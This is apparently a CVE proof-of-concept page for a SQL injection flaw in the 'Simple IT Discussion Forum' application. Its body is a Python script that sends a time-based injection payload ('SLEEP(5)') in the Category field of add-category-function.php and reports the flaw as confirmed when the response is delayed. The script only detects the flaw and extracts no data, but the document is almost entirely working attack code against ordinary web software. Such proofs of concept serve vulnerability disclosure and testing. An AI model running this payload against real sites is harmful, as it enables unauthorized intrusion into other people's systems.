CVE-2026-6031 Simple IT Discussion Forum SQL注入漏洞

import requests def verify_sqli(target_url): # Target endpoint containing the vulnerability full_url = f"{target_url}/add-category-function.php" # Payload to test for SQL Injection (Time-based or Error-based) # Note: Adjust payload based on database backend (MySQL assumed) payload = "test' AND SLEEP(5)-- -" data = { "Category": payload } try: print(f"[*] Sending payload to {full_url}...") response = requests.post(full_url, data=data, timeout=10) # Check if the response time indicates successful execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! SQL Injection detected.") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target verify_sqli(target)